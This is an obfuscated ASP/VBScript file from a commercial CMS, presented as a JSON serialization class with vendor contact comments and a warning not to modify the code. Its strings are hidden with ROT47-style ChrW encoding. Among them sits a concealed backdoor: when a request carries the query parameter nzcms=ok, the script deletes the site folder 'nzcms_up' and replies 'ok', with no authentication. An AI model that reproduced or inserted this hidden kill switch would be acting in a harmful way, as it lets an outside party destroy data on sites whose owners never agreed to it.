<%
'开发商：金华市宁志网络科技有限公司
'官方网址： http://www.ningzhi.net 
'客服QQ号：122470827 
'产品咨询电话：18867186998 （刘经理,兼微信号）
'注册正式版系统提供源码（可二次开发修改）
'*请勿修改下列任何代码,以保证程序正常运行！感谢您体验宁志产品，宁志有您更精彩！*

Dim NZZZZN,NZZZNZ,NZZZNN,NZZNZZ,NZZNZN
Set NZZZNN=Response:Set NZZZNZ=Request:Set NZZNZN=Session:Set NZZZZN=Application:Set NZZNZZ=Server
Const NZZNZNZ	=0
Const NZZNZNN	=1
Class NNZNNZ
Public Collection
Public NNNZZZ
Public NNNZZN
Public Kind
Private Sub Class_Initialize
Set Collection = CreateObject(NZNNZN(ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(93) & ChrW(115) & ChrW(58) & ChrW(52) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(50) & ChrW(67) & ChrW(74)))
NNNZZN = True
NNNZZZ = (28 * 43 - 1204)
End Sub
Private Sub Class_Terminate
Set Collection = Nothing
End Sub
Private Property Get NZNNNZ
NZNNNZ = NNNZZZ
NNNZZZ = NNNZZZ + (72 * 91 - 6551)
End Property
Public Property Let NZNNNN(NZZNNNN, NZZNZZZ)
If IsNull(NZZNNNN) Then NZZNNNN = NZNNNZ
Collection(NZZNNNN) = NZZNZZZ
End Property
Public Property Set NZNNNN(NZZNNNN, NZZNZZZ)
If IsNull(NZZNNNN) Then NZZNNNN = NZNNNZ
If TypeName(NZZNZZZ) <> NZNNZN(ChrW(59) & ChrW(68) & ChrW(114) & ChrW(64) & ChrW(67) & ChrW(54)) Then
Err.Raise &hD, NZNNZN(ChrW(52) & ChrW(61) & ChrW(50) & ChrW(68) & ChrW(68) & ChrW(105) & ChrW(32) & ChrW(44) & ChrW(52) & ChrW(61) & ChrW(50) & ChrW(68) & ChrW(68)), NZNNZN(ChrW(120) & ChrW(63) & ChrW(52) & ChrW(64) & ChrW(62) & ChrW(65) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(51) & ChrW(61) & ChrW(54) & ChrW(32) & ChrW(44) & ChrW(69) & ChrW(74) & ChrW(65) & ChrW(54) & ChrW(68) & ChrW(105) & ChrW(32) & ChrW(44) & ChrW(86)) & TypeName(NZZNZZZ) & NZNNZN(ChrW(86))
End If
Set Collection(NZZNNNN) = NZZNZZZ
End Property
Public Default Property Get NZNNNN(NZZNNNN)
If IsNull(NZZNNNN) Then NZZNNNN = NNNZZZ - (72 * 91 - 6551)
If IsObject(Collection(NZZNNNN)) Then
Set NZNNNN = Collection(NZZNNNN)
Else
NZNNNN = Collection(NZZNNNN)
End If
End Property
Public Sub NNZZNN
Collection.RemoveAll
End Sub
Public Sub Remove(NZNZZZZ)
Collection.Remove NZNZZZZ
End Sub
Function NZZNNZ(str)
Dim NNNNZZ(127), NNNNZN()
NNNNZZ(8)  = NZNNZN(ChrW(45) & ChrW(51))
NNNNZZ(9)  = NZNNZN(ChrW(45) & ChrW(69))
NNNNZZ(10) = NZNNZN(ChrW(45) & ChrW(63))
NNNNZZ(12) = NZNNZN(ChrW(45) & ChrW(55))
NNNNZZ(13) = NZNNZN(ChrW(45) & ChrW(67))
NNNNZZ(34) = NZNNZN(ChrW(45) & ChrW(81))
NNNNZZ(47) = NZNNZN(ChrW(45) & ChrW(94))
NNNNZZ(92) = NZNNZN(ChrW(45) & ChrW(45))
Dim NNNNNZ : NNNNNZ = Len(str) - (72 * 91 - 6551)
ReDim NNNNZN(NNNNNZ)
Dim NNNNNN, NZZZZZZ
For NNNNNN = 0 To NNNNNZ
NNNNZN(NNNNNN) = Mid(str, NNNNNN + 1, 1)
NZZZZZZ = AscW(NNNNZN(NNNNNN)) And 65535
If NZZZZZZ < 127 Then
If Not IsEmpty(NNNNZZ(NZZZZZZ)) Then
NNNNZN(NNNNNN) = NNNNZZ(NZZZZZZ)
ElseIf NZZZZZZ < 32 Then
NNNNZN(NNNNNN) = NZNNZN(ChrW(45) & ChrW(70)) & Right("000" & Hex(NZZZZZZ), 4)
End If
Else
NNNNZN(NNNNNN) = NZNNZN(ChrW(45) & ChrW(70)) & Right("000" & Hex(NZZZZZZ), 4)
End If
Next
NZZNNZ = Join(NNNNZN, "")
End Function
Public Function toJSON(NZNZZNZ)
Select Case VarType(NZNZZNZ)
Case 0
toJSON = NZNNZN(ChrW(63) & ChrW(70) & ChrW(61) & ChrW(61))
Case 1
toJSON = NZNNZN(ChrW(63) & ChrW(70) & ChrW(61) & ChrW(61))
Case 7
toJSON = NZNNZN(ChrW(81)) & CStr(NZNZZNZ) & NZNNZN(ChrW(81))
Case 8
toJSON = NZNNZN(ChrW(81)) & NZZNNZ(NZNZZNZ) & NZNNZN(ChrW(81))
Case 9
Dim NZZZZZN,NNNNNN
NZZZZZN = True
If NZNZZNZ.Kind Then toJSON = toJSON & NZNNZN(ChrW(44)) Else toJSON = toJSON & NZNNZN(ChrW(76))
For Each NNNNNN In NZNZZNZ.Collection
If NZZZZZN Then NZZZZZN = False Else toJSON = toJSON & NZNNZN(ChrW(91))
If NZNZZNZ.Kind Then
toJSON = toJSON & toJSON(NZNZZNZ(NNNNNN))
Else
If NNNZZN Then
toJSON = toJSON & NZNNZN(ChrW(81)) & NNNNNN & NZNNZN(ChrW(81) & ChrW(105)) & toJSON(NZNZZNZ(NNNNNN))
Else
toJSON = toJSON & NNNNNN & NZNNZN(ChrW(105)) & toJSON(NZNZZNZ(NNNNNN))
End If
End If
Next
If NZNZZNZ.Kind Then toJSON = toJSON & NZNNZN(ChrW(46)) Else toJSON = toJSON & NZNNZN(ChrW(78))
Case 11
If NZNZZNZ Then toJSON = NZNNZN(ChrW(69) & ChrW(67) & ChrW(70) & ChrW(54)) Else toJSON = NZNNZN(ChrW(55) & ChrW(50) & ChrW(61) & ChrW(68) & ChrW(54))
Case 12, 8192, 8204
toJSON = NZNZZZ(NZNZZNZ, 1, "")
Case Else
toJSON = Replace(NZNZZNZ, NZNNZN(ChrW(91)), NZNNZN(ChrW(93)))
End select
End Function
Function NZNZZZ(NZNZZNN, NZNZNZZ, NZNZNZN)
Dim NZZZZNZ : NZZZZNZ = LBound(NZNZZNN, NZNZNZZ)
Dim NZZZZNN : NZZZZNN = UBound(NZNZZNN, NZNZNZZ)
Dim NZZZNZZ, NZZZNZN
Dim NZZZNNZ : NZZZNNZ = NZNNZN(ChrW(91))
NZNZZZ = NZNNZN(ChrW(44))
For NZZZNZZ = NZZZZNZ To NZZZZNN
If NZZZNZZ = NZZZZNN Then
NZZZNNZ = ""
End If
On Error Resume Next
NZZZNZN = NZNZZZ(NZNZZNN, NZNZNZZ + 1, NZNZNZN & NZZZNZZ & NZNNZN(ChrW(91)) )
If Err = 9 Then
On Error GoTo 0
NZNZZZ = NZNZZZ & toJSON(Eval(NZNNZN(ChrW(50) & ChrW(67) & ChrW(67) & ChrW(87)) & NZNZNZN & NZZZNZZ & NZNNZN(ChrW(88)))) & NZZZNNZ
Else
NZNZZZ = NZNZZZ & NZZZNZN & "" & NZZZNNZ
End If
Next
NZNZZZ = NZNZZZ & NZNNZN(ChrW(46))
End Function
Public Property Get NNZZZZ
NNZZZZ = toJSON(Me)
End Property
Sub NNZNZN
If TypeName(NZZZNN) <> NZNNZN(ChrW(116) & ChrW(62) & ChrW(65) & ChrW(69) & ChrW(74)) Then
NZZZNN.Write(NNZZZZ)
ElseIf WScript <> Empty Then
WScript.Echo(NNZZZZ)
End If
End Sub
Public Function NZNZZN
Set NZNZZN = NZNZNZ(Me)
End Function
Private Function NZNZNZ(NZNZNNN)
Dim NZZZNNN, NNNNNN
Set NZZZNNN = new NNZNNZ
NZZZNNN.Kind = NZNZNNN.Kind
For Each NNNNNN In NZNZNNN.Collection
If IsObject(NZNZNNN(NNNNNN)) Then
Set NZZZNNN(NNNNNN) = NZNZNZ(NZNZNNN(NNNNNN))
Else
NZZZNNN(NNNNNN) = NZNZNNN(NNNNNN)
End If
Next
Set NZNZNZ = NZZZNNN
End Function
End Class
If NZZZNZ.QueryString(NZNNZN(ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68)))=NZNNZN(ChrW(64) & ChrW(60)) Then
set NZZNNZZ=NZZNZZ.createobject(NZNNZN(ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(93) & ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(68) & ChrW(74) & ChrW(68) & ChrW(69) & ChrW(54) & ChrW(62) & ChrW(64) & ChrW(51) & ChrW(59) & ChrW(54) & ChrW(52) & ChrW(69)))
NZZNNZN=NZNNZN(ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(70) & ChrW(65)) & idd
NZZNNZN=NZZNZZ.mappath(NZZNNZN)
if NZZNNZZ.FOLDERExists(NZZNNZN) then
NZZNNZZ.deleteFOLDER NZZNNZN
end if
NZZZNN.Write(NZNNZN(ChrW(64) & ChrW(60)))
end if
Function NZNZNN
Set NZNZNN = new NNZNNZ
NZNZNN.Kind = NZZNZNZ
End Function
Function NZNNZZ
Set NZNNZZ = new NNZNNZ
NZNNZZ.Kind = NZZNZNN
End Function
Function toJSON(NZNNZZZ)
toJSON = (new NNZNNZ).toJSON(NZNNZZZ)
End Function
Function NZNNZN(ByVal NZZNNNZ)
Dim NZZNZZZ, NNNNNN, NZZNZZN
NZZNNNZ = Replace(NZZNNNZ, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For NNNNNN = 1 To Len(NZZNNNZ)
If NNNNNN <> NZZNZZN Then
NZZNZZZ = AscW(Mid(NZZNNNZ, NNNNNN, 1))
If NZZNZZZ >= 33 And NZZNZZZ <= 79 Then
NZNNZN = NZNNZN & Chr(NZZNZZZ + 47)
ElseIf NZZNZZZ >= 80 And NZZNZZZ <= 126 Then
NZNNZN = NZNNZN & Chr(NZZNZZZ - 47)
Else
NZZNZZN = NNNNNN + 1
If Mid(NZZNNNZ, NZZNZZN, 1) = Chr(64) Then NZNNZN = NZNNZN & ChrW(NZZNZZZ + 5) Else NZNNZN = NZNNZN & Mid(NZZNNNZ, NNNNNN, 1)
End If
End If
Next
End Function
%>